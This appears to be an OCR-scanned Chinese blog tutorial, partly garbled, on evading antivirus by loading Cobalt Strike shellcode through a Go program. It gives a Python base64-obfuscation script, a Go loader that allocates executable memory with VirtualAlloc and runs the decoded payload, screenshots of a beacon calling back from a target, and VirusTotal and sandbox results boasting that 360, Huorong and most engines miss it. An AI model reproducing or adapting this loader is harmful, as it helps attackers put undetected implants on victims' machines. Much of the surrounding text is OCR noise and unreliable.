FFEEgoin#Eishellcodef
—. %

AEEEF HgonEshellcode, XANEARENRE, BEFKIEshellcodeBFLIENIEEEERE T AGRTEM—MexeXt, BRAEETIE, NAEBERE L, @
27T shellcode B R ZNZ AR,

—. BiME
1. B5%FBEcsER—E&shellcode

Payload Generator - 0O X

This dialog generates a payload to stage a Cobalt
Strike listener. Several output options are available.

Listener: [ H_]
Output: |Raw -|
w54 [ Use x64 payload

[ Generate H Help ]

2. Ytshellcodei#1T4wis, FKIXE(EApythoni#{TiEERbase64{i4RHD

1 import basec4
2 import random
3 import numpy
4
o]

with open("payloadlll.bin", 'rb') as f:
a = f.read()
bufl =-a
b6d4shellcode = base6d.bb6dencode (bufl) .decode ()
9 bbe4dshellcode = bédshellcode.replace ("A","+") .replace("0","!") . .replace("1","@") .replace("T",") ™)

print (b64shellcode)
11 |

3. fmhgseEEEEFIbase644miEfEAUshellcodeZgoiBar TN,

42 if FesCodd ==y {(
43 Puild("/OiJ####YlnlMdJki@Iwi@IMi@IUiSIOD7dKJj 1 /McCsPGFB84iwgwc8N#cfi8FIXi@IQiOIB#dCLQ! iFw! RK¥dBQiOgYi@gg#dPjPEMLNISBE] !/McCswc8I‘

s “H=windowsgui main. go

2021/3/3 16:03 GO 7%

5. BexeXHZI B8 LT, BiRLE.



™. 192,168,199.118 DESKTOP-JNR7UOQ0

= -

EventLog X | Listeners X | Listeners X
51 kkk

32 #+* initial beacon from FuckDog@l92.168.199.118 (DESKTOP-JNR7U0O)

6. BirtlEsFFE T X8, 360, J9RFER9:

Y wgEE REER S
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ARFHEARAZIXPE

HiEids 14 S FRet : 00:00:01

FELAE : 09~ QRIS O



7. virustotalt@MIZ5ER ,

@ xR TRSE  =ses

s 1
i+ : 00:00:03
HeMaH: 0
HobEmE: 0

=S, TERRREB T !



@ 3 engines detected this file Cy

cfd2balde3aet9a5996c70c3141b924e77210d051122840ca?02bece 4882d22 4.34MB 2021-03-03 08:13:33UTC %
main.exe Size 17 minutes ago EXE

b4bits  assembly  direct-cpu-clock-access peexe  runtime-modules
% Community '\

Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY
SecureAge APEX @ Walicious Cynet @ Malicious (score: 100)
Jiangmin @ TrojanSpy.MSILbgkz Acronis @ Undetected
Ad-Awsre () Undstected AegisLab () Undetected
AhnLab-V3 (¥) Undetected Alibaba () Undetected
Al¥ae (/) Undstected Antly-AVL (/) Undetected
Arcabit (/) Undetected Avast () Undetected
Avira (no cloud) (%) Undetected Baidu () Undetected
BitDefender (/) Undstected BitDefenderTheta () Undetected
Blkav Pro (¥) Undetected CAT-QuickHeal (Z) Undetected
ClamAv () Undstected CMC () Undetected
Comado (¥) Undetected CrowdsStrike Falcon (Z) Undetected
Cybereason () Undstected Cylance () Undetected
Cyren (¥) Undetected Driveb () Undetected
eGambit (/) Undstected Elastic (/) Undetected

8. M rElER:



[
h_
a
o

]
il
&
»[II
p-]

GuzzsE  q

. somen © LR ARS

XEEIR:  mainexe

SHA256: cfd2balde3ae69a5996c70c314fb9e4e77i8/0d051122840ca902beced88ed22 ¢¢
EFTIE:  win10_1903 enx64 office2016
{2ATmE:  2021-03-03 16:35:45
BAFE:  timestamp exception  PE32+ F

@ ZSIEHE 0/2 AP0

iTE (JiangMin) IEFEE
360 (Qihoo 360) EEE
ESET IEEE
GDATA FEE
ABlEx (Dr.Web) EE=E
Baidu EEE
AVG El=
#=% (Antiy) ETE
855 (Panda) El=—

2021031585 :
- EfEmIF32URIgoREFTTIE

BERRENETE:
go env -w GOARCH=386

- 1

=
=
=
=
=

XEAEZIERE32UMNERT
BERIFE32UAER, (HSIERRREIETE3 2 AN BRTN6AMIATH 28 LFRBIE T

« & pfishellcodeft&=iTe



bufl = b"\xfc\xe8\x89\x00\x00\x00\x00\x89\xe5\x31\xd2\x04\x8b\x52\x30\x8b\x52\2x0c\x8b\x52\x14\xE
bod4shellcode = base6d4.bo6dencode (bufl) .decode()

b6d4shellcode = bé6dshellcode.replace("A","#") . .replace("H","!") . .replace("1","E") .replace("T",")")
print (bedshellcode)

FHixEfIshellcodeRiBiTcsERMGESRAZFEH, ~EERMraw:

obalt Strike View Aftacks Reporting Help

IR NEH=Z¢ 8% PU XwBEH Lo B G

external internal ~ listener user computer note

Payload Generator

This dialog generates a payload to stage a Cobalt
Strike listener. Several output options are available.

Listener: [aa

| output: [c -]

EventLog X | Beacon 192.168.174.197@4588 X | Beacon 192168564 4. [ Use x64 payload

AHgEERE IPv6 MBEE. . . . . . . . ¢ a9cd bfa0: fa 5

TPva HBHE . . . . . . L L L 102, Generate Help

HERECS, EEXR16HENCIBIENHR:

buf[] =

BN DAMRIATRRO AT T, HRKABIraw, ERAIAT.

HtAOL BRI AFRN T, BERE, ARET, RABSHORES, (UNEERIRID T shellcode, ARTEMZRRERD, RESHNPRANMTIIE
M, —EEREIEIEERNE360, RKEBRNE KSE(20200315):

BN RRIRAD -



£0L3 [T Malnl. oL [BA £°_SReLLCOds_SMCode. FYLI | B Mew LLI| B 1_SXChange. PYLI| [ FeRerator. PYLI| B PaVLORGSCL. CLI| B SAELLCOQE_WIRAOWS. LI | B MAlL SOLI| B PAVL0ad LI | B PAVLORAL. L. OLI| B PAYLOadl. £ CLI| B Payleaess, cLl|

package main

import  (
"encoding/base64"

"strings"
"syscall"
"unsafe"
)
var |
kernel3z = -syscall.NewLazyDLL ("kernel32.d11"™)
VirtualAlloc = kernel32.NewProc ("VirtualAlloc")

RtlMoveMemory = kernel32.NewProc ("Rt1lMoveMemory")

func build(ddm string) {
strl :=strings.Replace (ddm,  "#", "A", -1)
str2 :=strings.Replace(strl, "!"™, "H", -1)
str3 :=strings.Replace(str2, "@", "1", -1-)
strd :=strings.Replace(str3, ")", "T", -1)

sDec, ~:= baset€4.StdEncoding.DecodeString(str4)
addr, -, := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
I = RtlMoveMemory.Call (addr, - (uintptr) (unsafe.Pointer (&sDec[0])), uintptr(len(sDec)))

syscall.Syscall (addr, 0, 0, 0, 0)

func main() {
build ("/Cid####YInIMdJIki@Iwi@IMi@IUi3TIoD7dKJI] ! /McCsPGFE#iwgwe8N#cfi8FIXiRIQi0I8#dCL ! iFw! RK#dBQ



	利用go加载shellcode免杀
	一、思路
	二、具体做法
	1、首先利用cs生成一段shellcode
	2、对shellcode进行编码，我这里使用python进行简单的base64位编码
	3、编码完毕后复制base64编码后的shellcode到go代码中进行加载
	4、编译生成exe文件
	5、把exe文件放到目标机器上执行，直接上线。
	6、目标机器开启了火绒、360，为所欲为：
	7、virustotal检测结果，三个报毒，过主流杀软足够了：
	8、微步云沙箱检测结果：

	20210315更新：
	直接编译32位的go程序方法
	生成shellcode的格式注意


